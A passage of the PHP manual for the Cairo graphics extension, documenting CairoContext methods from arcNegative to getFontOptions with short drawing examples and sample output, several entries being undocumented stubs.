$s->writeToPng(dirname(__FILE__) . '/CairoContext__arcNegative.png');
?>

Example #2 Procedural style

<?php

$s = cairo_image_surface_create(CAIRO_SURFACE_TYPE_IMAGE, 100, 100);
$c = cairo_create($s);

cairo_set_source_rgb($c, 0, 0, 0);
cairo_paint($c);

cairo_set_source_rgb($c, 1, 1, 1);
cairo_set_line_width($c, 1);

for ($r = 50; $r > 0; $r -= 10) {
 cairo_arc_negative($c, 50, 50, $r, 2 * M_PI, 0);
 cairo_stroke($c);
 cairo_fill($c);
}

cairo_surface_write_to_png($s, dirname(__FILE__) . '/cairo_arc_negative.png');
?>

See Also

  • CairoContext::arc() - Adds a circular arc

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::arc
CairoContext::clip
CairoContext


Establishes a new clip region

CairoContext::arcNegative
CairoContext::clipExtents
CairoContext
PHP Manual

CairoContext::clip

cairo_clip

(PECL cairo >= 0.1.0)

CairoContext::clip -- cairo_clip — Establishes a new clip region

Description

Object oriented style (method):

public void CairoContext::clip ( void )

Procedural style:

void cairo_clip ( CairoContext $context )

Establishes a new clip region by intersecting the current clip region with the current path as it would be filled by CairoContext::fill() or cairo_fill() and according to the current fill rule (see CairoContext::setFillRule() or cairo_set_fill_rule()).

After CairoContext::clip() or cairo_clip(), the current path will be cleared from the cairo context.

The current clip region affects all drawing operations by effectively masking out any changes to the surface that are outside the current clip region.

Calling  CairoContext::clip() or cairo_clip()
can only make the clip region smaller, never larger. But the current clip is part of the
graphics state, so a temporary restriction of the clip region can be achieved by calling
 CairoContext::clip() or cairo_clip() within a
 CairoContext::save()/ CairoContext::restore() or
cairo_save()/cairo_restore() pair.
The only other means of increasing the size of the clip region is
 CairoContext::resetClip() or procedural cairo_reset_clip().

Parameters

context

A valid CairoContext object

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

$context->clip();

?>

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

cairo_clip($context);

?>

See Also

  • CairoContext::resetClip() - The resetClip purpose
  • cairo_reset_clip() - The resetClip purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::arcNegative
CairoContext::clipExtents
CairoContext


Computes the area inside the current clip

CairoContext::clip
CairoContext::clipPreserve
CairoContext
PHP Manual

CairoContext::clipExtents

cairo_clip_extents

(PECL cairo >= 0.1.0)

CairoContext::clipExtents -- cairo_clip_extents — Computes the area inside the current clip

Description

Object oriented style (method):

public array CairoContext::clipExtents ( void )

Procedural style:

array cairo_clip_extents ( CairoContext $context )

Computes a bounding box in user coordinates covering the area inside the current clip.

Parameters

context

A valid CairoContext object

Return Values

An array containing the (float)x1, (float)y1, (float)x2, (float)y2, coordinates covering the area inside the current clip

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

var_dump($context->clipExtents());
?>

The above example will output something similar to:

array(4) {
  [0]=>
  float(0)
  [1]=>
  float(0)
  [2]=>
  float(50)
  [3]=>
  float(50)
}

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

var_dump(cairo_clip_extents($context));

?>

The above example will output something similar to:

array(4) {
  [0]=>
  float(0)
  [1]=>
  float(0)
  [2]=>
  float(50)
  [3]=>
  float(50)
}

See Also

  • CairoContext::clip() - Establishes a new clip region

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::clip
CairoContext::clipPreserve
CairoContext


Establishes a new clip region from the current clip

CairoContext::clipExtents
CairoContext::clipRectangleList
CairoContext
PHP Manual

CairoContext::clipPreserve

cairo_clip_preserve

(PECL cairo >= 0.1.0)

CairoContext::clipPreserve -- cairo_clip_preserve — Establishes a new clip region from the current clip

Description

Object oriented style (method):

public void CairoContext::clipPreserve ( void )

Procedural style:

void cairo_clip_preserve ( CairoContext $context )

Establishes a new clip region by intersecting the current clip region with the current path as it would be filled by Context.fill() and according to the current FILL RULE (see CairoContext::setFillRule() or cairo_set_fill_rule()).

Unlike CairoContext::clip(), CairoContext::clipPreserve() preserves the path within the Context. The current clip region affects all drawing operations by effectively masking out any changes to the surface that are outside the current clip region.

Calling CairoContext::clipPreserve() can only make the clip region smaller, never larger. But the current clip is part of the graphics state, so a temporary restriction of the clip region can be achieved by calling CairoContext::clipPreserve() within a CairoContext::save()/ CairoContext::restore() pair. The only other means of increasing the size of the clip region is CairoContext::resetClip().

Parameters

context

A valid CairoContext object

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

$context->clipPreserve();

?>

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

cairo_clip_preserve($context);

?>

See Also

  • CairoContext::save() - The save purpose
  • CairoContext::restore() - The restore purpose
  • CairoContext::resetClip() - The resetClip purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::clipExtents
CairoContext::clipRectangleList
CairoContext


Retrieves the current clip as a list of rectangles

CairoContext::clipPreserve
CairoContext::closePath
CairoContext
PHP Manual

CairoContext::clipRectangleList

cairo_clip_rectangle_list

(PECL cairo >= 0.1.0)

CairoContext::clipRectangleList -- cairo_clip_rectangle_list — Retrieves the current clip as a list of rectangles

Description

Object oriented style (method):

public array CairoContext::clipRectangleList ( void )

Procedural style:

array cairo_clip_rectangle_list ( CairoContext $context )

Returns a list-type array with the current clip region as a list of rectangles in user coordinates

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

An array of user-space represented rectangles for the current clip

(The status in the list may be CAIRO_STATUS_CLIP_NOT_REPRESENTABLE to indicate that the clip region cannot be represented as a list of user-space rectangles. The status may have other values to indicate other errors.)

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

var_dump($context->clipRectangleList());

?>

The above example will output something similar to:

array(1) {
  [0]=>
  array(4) {
    ["x"]=>
    float(0)
    ["y"]=>
    float(0)
    ["width"]=>
    float(50)
    ["height"]=>
    float(50)
  }
}

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

var_dump(cairo_clip_rectangle_list($context));

?>

The above example will output something similar to:

array(1) {
  [0]=>
  array(4) {
    ["x"]=>
    float(0)
    ["y"]=>
    float(0)
    ["width"]=>
    float(50)
    ["height"]=>
    float(50)
  }
}

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::clipPreserve
CairoContext::closePath
CairoContext


Closes the current path

CairoContext::clipRectangleList
CairoContext::__construct
CairoContext
PHP Manual

CairoContext::closePath

cairo_close_path

(PECL cairo >= 0.1.0)

CairoContext::closePath -- cairo_close_path — Closes the current path

Description

Object oriented style (method):

public void CairoContext::closePath ( void )

Procedural style:

void cairo_close_path ( CairoContext $context )

Adds a line segment to the path from the current point to the beginning of the current sub-path, (the most recent point passed to CairoContext::moveTo()), and closes this sub-path. After this call the current point will be at the joined endpoint of the sub-path.

The behavior of close_path() is distinct from simply calling CairoContext::lineTo() with the equivalent coordinate in the case of stroking. When a closed sub-path is stroked, there are no caps on the ends of the sub-path. Instead, there is a line join connecting the final and initial segments of the sub-path.

If there is no current point before the call to CairoContext::closePath(), this function will have no effect.

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

$context->closePath();

?>

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

cairo_close_path($context);

?>

See Also

  • CairoContext::copyPath() - Creates a copy of the current path

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::clipRectangleList
CairoContext::__construct
CairoContext


Creates a new CairoContext

CairoContext::closePath
CairoContext::copyPage
CairoContext
PHP Manual

CairoContext::__construct

(PECL cairo >= 0.1.0)

CairoContext::__construct — Creates a new CairoContext

Description

public CairoContext::__construct ( CairoSurface $surface )

Creates a new CairoContext object to draw

Parameters

surface

A valid CairoSurface like CairoImageSurface or CairoPdfSurface

Return Values

A CairoContext

Examples

Example #1 CairoContext::__construct() example

<?php
// The surface to work on
$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

// Create a new CairoContext for the CairoSurface
$context = new CairoContext($surface);

?>

See Also

  • Cairo::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::closePath
CairoContext::copyPage
CairoContext


Emits the current page

CairoContext::__construct
CairoContext::copyPath
CairoContext
PHP Manual

CairoContext::copyPage

cairo_copy_page

(PECL cairo >= 0.1.0)

CairoContext::copyPage -- cairo_copy_page — Emits the current page

Description

Object oriented style (method):

public void CairoContext::copyPage ( void )

Procedural style:

void cairo_copy_page ( CairoContext $context )

Emits the current page for backends that support multiple pages, but doesn’t clear it, so, the contents of the current page will be retained for the next page too. Use CairoContext::showPage() if you want to get an empty page after the emission.

This is a convenience function that simply calls CairoSurface::copyPage() on CairoContext’s target.

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

$context->copyPage();

?>

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

cairo_copy_page($context);

?>

See Also

  • CairoContext::showPage() - The showPage purpose
  • CairoSurface::copyPage() - The copyPage purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::__construct
CairoContext::copyPath
CairoContext


Creates a copy of the current path

CairoContext::copyPage
CairoContext::copyPathFlat
CairoContext
PHP Manual

CairoContext::copyPath

cairo_copy_path

(PECL cairo >= 0.1.0)

CairoContext::copyPath -- cairo_copy_path — Creates a copy of the current path

Description

Object oriented style (method):

public CairoPath CairoContext::copyPath ( void )

Procedural style:

CairoPath cairo_copy_path ( CairoContext $context )

Creates a copy of the current path and returns it to the user as a CairoPath. See CairoPath for hints on how to iterate over the returned data structure.

This function will always return a valid CairoPath object, but the result will have no data, if either of the following conditions hold:

  • 1. If there is insufficient memory to copy the path. In this case CairoPath->status will be set to CAIRO_STATUS_NO_MEMORY.
  • 2. If context is already in an error state. In this case CairoPath->status will contain the same status that would be returned by cairo_status().
In either case, CairoPath->status will be set to CAIRO_STATUS_NO_MEMORY (regardless of what the error status in cr might have been).

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

A copy of the current CairoPath in the context

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

var_dump($context->copyPath())

?>

The above example will output something similar to:

object(CairoPath)#3 (0) {
}

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

var_dump(cairo_copy_path($context));

?>

The above example will output something similar to:

object(CairoPath)#3 (0) {
}

See Also

  • CairoContext::closePath() - Closes the current path

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::copyPage
CairoContext::copyPathFlat
CairoContext


Gets a flattened copy of the current path

CairoContext::copyPath
CairoContext::curveTo
CairoContext
PHP Manual

CairoContext::copyPathFlat

cairo_copy_path_flat

(PECL cairo >= 0.1.0)

CairoContext::copyPathFlat -- cairo_copy_path_flat — Gets a flattened copy of the current path

Description

Object oriented style (method):

public CairoPath CairoContext::copyPathFlat ( void )

Procedural style:

CairoPath cairo_copy_path_flat ( CairoContext $context )

Gets a flattened copy of the current path and returns it to the user as a CairoPath.

This function is like CairoContext::copyPath() except that any curves in the path will be approximated with piecewise-linear approximations, (accurate to within the current tolerance value). That is, the result is guaranteed to not have any elements of type CAIRO_PATH_CURVE_TO which will instead be replaced by a series of CAIRO_PATH_LINE_TO elements.

Parameters

context

A CairoContext object

Return Values

A copy of the current path

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

var_dump($context->copyPathFlat());

?>

The above example will output something similar to:

object(CairoPath)#3 (0) {
}

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

var_dump(cairo_copy_path_flat($context));

?>

The above example will output something similar to:

object(CairoPath)#3 (0) {
}

See Also

  • CairoContext::copyPath() - Creates a copy of the current path
  • CairoContext::closePath() - Closes the current path

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::copyPath
CairoContext::curveTo
CairoContext


Adds a curve

CairoContext::copyPathFlat
CairoContext::deviceToUser
CairoContext
PHP Manual

CairoContext::curveTo

cairo_curve_to

(PECL cairo >= 0.1.0)

CairoContext::curveTo -- cairo_curve_to — Adds a curve

Description

Object oriented style (method):

public void CairoContext::curveTo ( float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )

Procedural style:

void cairo_curve_to ( CairoContext $context , float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )

Adds a cubic Bezier spline to the path from the current point to position x3 ,y3 in user-space coordinates, using x1, y1 and x2, y2 as the control points. After this call the current point will be x3, y3.

If there is no current point before the call to CairoContext::curveTo() this function will behave as if preceded by a call to CairoContext::moveTo() (x1, y1).

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

x1

First control point in the x axis for the curve

y1

First control point in the y axis for the curve

x2

Second control point in x axis for the curve

y2

Second control point in y axis for the curve

x3

Final point in the x axis for the curve

y3

Final point in the y axis for the curve

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php
$s = new CairoImageSurface(CairoFormat::ARGB32, 100, 100);
$c = new CairoContext($s);

$c->setSourceRgb(0, 0, 0);

$c->paint();

$c->moveTo(10, 50);
$c->setLineWidth(5);
$c->setSourceRgb(.1, 0, 1);
$c->curveTo(20, 80, 80, 20, 90, 50);
$c->stroke();

$s->writeToPng(dirname(__FILE__) . '/curveTo.png');
?>

Example #2 Procedural style

<?php

$s = cairo_image_surface_create(CAIRO_SURFACE_TYPE_IMAGE, 100, 100);
$c = cairo_create($s);

cairo_set_source_rgb($c, 0, 0, 0);

cairo_paint($c);

cairo_move_to($c, 10, 50);
cairo_set_line_width($c, 5);
cairo_set_source_rgb($c, .1, 0, 1);
cairo_curve_to($c, 20, 80, 80, 20, 90, 50);
cairo_stroke($c);

cairo_surface_write_to_png($s, dirname(__FILE__) . '/curve_to.png');
?>

See Also

  • CairoContext::moveTo() - The moveTo purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::copyPathFlat
CairoContext::deviceToUser
CairoContext


Transform a coordinate

CairoContext::curveTo
CairoContext::deviceToUserDistance
CairoContext
PHP Manual

CairoContext::deviceToUser

cairo_device_to_user

(PECL cairo >= 0.1.0)

CairoContext::deviceToUser -- cairo_device_to_user — Transform a coordinate

Description

Object oriented style (method):

public array CairoContext::deviceToUser ( float $x , float $y )

Procedural style:

array cairo_device_to_user ( CairoContext $context , float $x , float $y )

Transform a coordinate from device space to user space by multiplying the given point by the inverse of the current transformation matrix (CTM).

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

x

x value of the coordinate

y

y value of the coordinate

Return Values

An array containing the x and y coordinates in the user-space

See Also

  • CairoContext::deviceToUserDistance() - Transform a distance

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::curveTo
CairoContext::deviceToUserDistance
CairoContext


Transform a distance

CairoContext::deviceToUser
CairoContext::fill
CairoContext
PHP Manual

CairoContext::deviceToUserDistance

cairo_device_to_user_distance

(PECL cairo >= 0.1.0)

CairoContext::deviceToUserDistance -- cairo_device_to_user_distance — Transform a distance

Description

Object oriented style (method):

public array CairoContext::deviceToUserDistance ( float $x , float $y )

Procedural style:

array cairo_device_to_user_distance ( CairoContext $context , float $x , float $y )

Transform a distance vector from device space to user space. This function is similar to CairoContext::deviceToUser() or cairo_device_to_user() except that the translation components of the inverse Cairo Transformation Matrix will be ignored when transforming (x,y).

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

x

X component of a distance vector

y

Y component of a distance vector

Return Values

Returns an array with the x and y values of a distance vector in the user-space

See Also

  • CairoContext::deviceToUser() - Transform a coordinate

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::deviceToUser
CairoContext::fill
CairoContext


Fills the current path

CairoContext::deviceToUserDistance
CairoContext::fillExtents
CairoContext
PHP Manual

CairoContext::fill

cairo_fill

(PECL cairo >= 0.1.0)

CairoContext::fill -- cairo_fill — Fills the current path

Description

Object oriented style (method):

public void CairoContext::fill ( void )

Procedural style:

void cairo_fill ( CairoContext $context )

A drawing operator that fills the current path according to the current CairoFillRule, (each sub-path is implicitly closed before being filled). After CairoContext::fill() or cairo_fill(), the current path will be cleared from the CairoContext.

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$s = new CairoImageSurface(CairoFormat::ARGB32, 100, 100);
$c = new CairoContext($s);

$c->setSourceRgb(0, 0, 0);
$c->paint();

$c->setSourceRgb(1, 1, 1);
$c->rectangle(0, 0, 50, 50);
$c->fill();
$c->setSourceRgb(0, 1, 0);
$c->rectangle(50, 50, 50, 50);
$c->fill();

$s->writeToPng(dirname(__FILE__) . '/CairoContext_fill.png');

?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php

$s = cairo_image_surface_create(CAIRO_SURFACE_TYPE_IMAGE, 100, 100);
$c = cairo_create($s);

cairo_set_source_rgb($c, 0, 0, 0);
cairo_paint($c);

cairo_set_source_rgb($c, 1, 1, 1);
cairo_rectangle($c, 0, 0, 50, 50);
cairo_fill($c);
cairo_set_source_rgb($c, 0, 1, 0);
cairo_rectangle($c, 50, 50, 50, 50);
cairo_fill($c);

cairo_surface_write_to_png($s, dirname(__FILE__) . '/cairo_fill.png');

?>

The above example will output something similar to:

...

See Also

  • CairoContext::setFillRule() - The setFillRule purpose
  • ContextContext::fillPreserve()
  • CairoFillRule

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::deviceToUserDistance
CairoContext::fillExtents
CairoContext


Computes the filled area

CairoContext::fill
CairoContext::fillPreserve
CairoContext
PHP Manual

CairoContext::fillExtents

cairo_fill_extents

(PECL cairo >= 0.1.0)

CairoContext::fillExtents -- cairo_fill_extents — Computes the filled area

Description

Object oriented style (method):

public array CairoContext::fillExtents ( void )

Procedural style:

array cairo_fill_extents ( CairoContext $context )

Computes a bounding box in user coordinates covering the area that would be affected, (the “inked” area), by a CairoContext::fill() operation given the current path and fill parameters. If the current path is empty, returns an empty rectangle (0,0,0,0). Surface dimensions and clipping are not taken into account.

Contrast with CairoContext::pathExtents(), which is similar, but returns non-zero extents for some paths with no inked area, (such as a simple line segment).

Note that CairoContext::fillExtents() must necessarily do more work to compute the precise inked areas in light of the fill rule, so CairoContext::pathExtents() may be more desirable for sake of performance if the non-inked path extents are desired.

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

An array with the coordinates of the afected area

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • CairoContext::fill() - Fills the current path
  • CairoContext::setFillRule() - The setFillRule purpose
  • CairoContext::fillPreserve() - Fills and preserve the current path

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::fill
CairoContext::fillPreserve
CairoContext


Fills and preserve the current path

CairoContext::fillExtents
CairoContext::fontExtents
CairoContext
PHP Manual

CairoContext::fillPreserve

cairo_fill_preserve

(PECL cairo >= 0.1.0)

CairoContext::fillPreserve -- cairo_fill_preserve — Fills and preserve the current path

Description

Object oriented style (method):

public void CairoContext::fillPreserve ( void )

Procedural style:

void cairo_fill_preserve ( CairoContext $context )

A drawing operator that fills the current path according to the current CairoFillRule, (each sub-path is implicitly closed before being filled). Unlike CairoContext::fill(), CairoContext::fillPreserve() (Procedural cairo_fill(), cairo_fill_preserve(), respectively) preserves the path within the Context.

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • CairoContext::setFillRule() - The setFillRule purpose
  • CairoContext::fill() - Fills the current path

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::fillExtents
CairoContext::fontExtents
CairoContext


Get the font extents

CairoContext::fillPreserve
CairoContext::getAntialias
CairoContext
PHP Manual

CairoContext::fontExtents

cairo_font_extents

(PECL cairo >= 0.1.0)

CairoContext::fontExtents -- cairo_font_extents — Get the font extents

Description

Object oriented style (method):

public array CairoContext::fontExtents ( void )

Procedural style:

array cairo_font_extents ( CairoContext $context )

Gets the font extents for the currently selected font.

Parameters

context

Description...

Return Values

An array containing the font extents for the current font.

Examples

Example #1 Object oriented style

<?php

$sur = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);
$con = new CairoContext($sur);

var_dump($con->fontExtents());

?>

The above example will output something similar to:

array(5) {
  ["ascent"]=>
  float(10)
  ["descent"]=>
  float(3)
  ["height"]=>
  float(13.3125)
  ["max_x_advance"]=>
  float(26.65625)
  ["max_y_advance"]=>
  float(0)
}

Example #2 Procedural style

<?php

$sur = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);
$con = cairo_create($sur);

var_dump(cairo_font_extents($con));

?>

The above example will output something similar to:

array(5) {
  ["ascent"]=>
  float(10)
  ["descent"]=>
  float(3)
  ["height"]=>
  float(13.3125)
  ["max_x_advance"]=>
  float(26.65625)
  ["max_y_advance"]=>
  float(0)
}

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::fillPreserve
CairoContext::getAntialias
CairoContext


Retrives the current antialias mode

CairoContext::fontExtents
CairoContext::getCurrentPoint
CairoContext
PHP Manual

CairoContext::getAntialias

cairo_get_antialias

(PECL cairo >= 0.1.0)

CairoContext::getAntialias -- cairo_get_antialias — Retrives the current antialias mode

Description

Object oriented style (method):

public int CairoContext::getAntialias ( void )

Procedural style:

int cairo_get_antialias ( CairoContext $context )

Returns the current CairoAntialias mode, as set by CairoContext::setAntialias().

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

The current CairoAntialias mode.

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);
$context = new CairoContext($surface);

$context->setAntialias(CairoAntialias::MODE_SUBPIXEL);

var_dump($context->getAntialias());

?>

The above example will output something similar to:

int(3)

Example #2 Procedural style

<?php

$sur = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);
$con = cairo_create($sur);

cairo_set_antialias($con, CAIRO_ANTIALIAS_SUBPIXEL);

var_dump(cairo_get_antialias($con));

?>

The above example will output something similar to:

int(3)

See Also

  • CairoContext::setAntialias() - The setAntialias purpose
  • CairoAntialias

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::fontExtents
CairoContext::getCurrentPoint
CairoContext


The getCurrentPoint purpose

CairoContext::getAntialias
CairoContext::getDash
CairoContext
PHP Manual

CairoContext::getCurrentPoint

cairo_get_current_point

(PECL cairo >= 0.1.0)

CairoContext::getCurrentPoint -- cairo_get_current_point — The getCurrentPoint purpose

Description

Object oriented style

public array CairoContext::getCurrentPoint ( void )

Procedural style

array cairo_get_current_point ( CairoContext $context )

Gets the current point of the current path, which is conceptually the final point reached by the path so far.

The current point is returned in the user-space coordinate system. If there is no defined current point or if cr is in an error status, x and y will both be set to 0.0. It is possible to check this in advance with CairoContext::hasCurrentPoint().

Most path construction functions alter the current point. See the following for details on how they affect the current point:  CairoContext::newPath(),
 CairoContext::newSubPath(),  CairoContext::appendPath(),  CairoContext::closePath(),  CairoContext::moveTo(),
 CairoContext::lineTo(),  CairoContext::curveTo(),  CairoContext::relMoveTo(),
 CairoContext::relLineTo(),  CairoContext::relCurveTo(),
 CairoContext::arc(),  CairoContext::arcNegative(),  CairoContext::rectangle(),
 CairoContext::textPath(),  CairoContext::glyphPath().

Some functions use and alter the current point but do not otherwise change current path: CairoContext::showText().

Some functions unset the current path and as a result, current point: CairoContext::fill(), CairoContext::stroke().

Parameters

context

A valid CairoContext object.

Return Values

An array containing the x (index 0) and y (index 1) coordinates of the current point.

Examples

Example #1 Object oriented style

<?php

$s = new CairoImageSurface(CairoFormat::ARGB32, 100, 100);
$c = new CairoContext($s);

$c->moveTo(10, 10);

var_dump($c->getCurrentPoint());

?>

The above example will output something similar to:

array(2) {
  [0]=>
  float(10)
  [1]=>
  float(10)
}

Example #2 Procedural style

<?php

$s = cairo_image_surface_create(CAIRO_SURFACE_TYPE_IMAGE, 100, 100);
$c = cairo_create($s);

cairo_move_to($c, 10, 10);

var_dump(cairo_get_current_point($c));

?>

The above example will output something similar to:

array(2) {
  [0]=>
  float(10)
  [1]=>
  float(10)
}

See Also

  • CairoContext::moveTo() - The moveTo purpose
  • CairoContext::hasCurrentPoint() - The hasCurrentPoint purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getAntialias
CairoContext::getDash
CairoContext


The getDash purpose

CairoContext::getCurrentPoint
CairoContext::getDashCount
CairoContext
PHP Manual

CairoContext::getDash

cairo_get_dash

(PECL cairo >= 0.1.0)

CairoContext::getDash -- cairo_get_dash — The getDash purpose

Description

Object oriented style (method):

public array CairoContext::getDash ( void )

Procedural style:

array cairo_get_dash ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getCurrentPoint
CairoContext::getDashCount
CairoContext


The getDashCount purpose

CairoContext::getDash
CairoContext::getFillRule
CairoContext
PHP Manual

CairoContext::getDashCount

cairo_get_dash_count

(PECL cairo >= 0.1.0)

CairoContext::getDashCount -- cairo_get_dash_count — The getDashCount purpose

Description

Object oriented style (method):

public int CairoContext::getDashCount ( void )

Procedural style:

int cairo_get_dash_count ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getDash
CairoContext::getFillRule
CairoContext


The getFillRule purpose

CairoContext::getDashCount
CairoContext::getFontFace
CairoContext
PHP Manual

CairoContext::getFillRule

cairo_get_fill_rule

(PECL cairo >= 0.1.0)

CairoContext::getFillRule -- cairo_get_fill_rule — The getFillRule purpose

Description

Object oriented style (method):

public int CairoContext::getFillRule ( void )

Procedural style:

int cairo_get_fill_rule ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getDashCount
CairoContext::getFontFace
CairoContext


The getFontFace purpose

CairoContext::getFillRule
CairoContext::getFontMatrix
CairoContext
PHP Manual

CairoContext::getFontFace

cairo_get_font_face

(PECL cairo >= 0.1.0)

CairoContext::getFontFace -- cairo_get_font_face — The getFontFace purpose

Description

Object oriented style (method):

public void CairoContext::getFontFace ( void )

Procedural style:

void cairo_get_font_face ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getFillRule
CairoContext::getFontMatrix
CairoContext


The getFontMatrix purpose

CairoContext::getFontFace
CairoContext::getFontOptions
CairoContext
PHP Manual

CairoContext::getFontMatrix

cairo_get_font_matrix

(PECL cairo >= 0.1.0)

CairoContext::getFontMatrix -- cairo_get_font_matrix — The getFontMatrix purpose

Description

Object oriented style (method):

public void CairoContext::getFontMatrix ( void )

Procedural style:

void cairo_get_font_matrix ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::getFontFace
CairoContext::getFontOptions
CairoContext


The getFontOptions purpose

CairoContext::getFontMatrix
CairoContext::getGroupTarget
CairoContext
PHP Manual

CairoContext::getFontOptions

cairo_get_font_options

(PECL cairo >= 0.1.0)

CairoContext::getFontOptions -- cairo_get_font_options — The getFontOptions purpose

Description

Object oriented style (method):

public void CairoContext::getFontOptions ( void )

Procedural style:

void cairo_get_font_options ( CairoContext $context )

Description here.

Warning

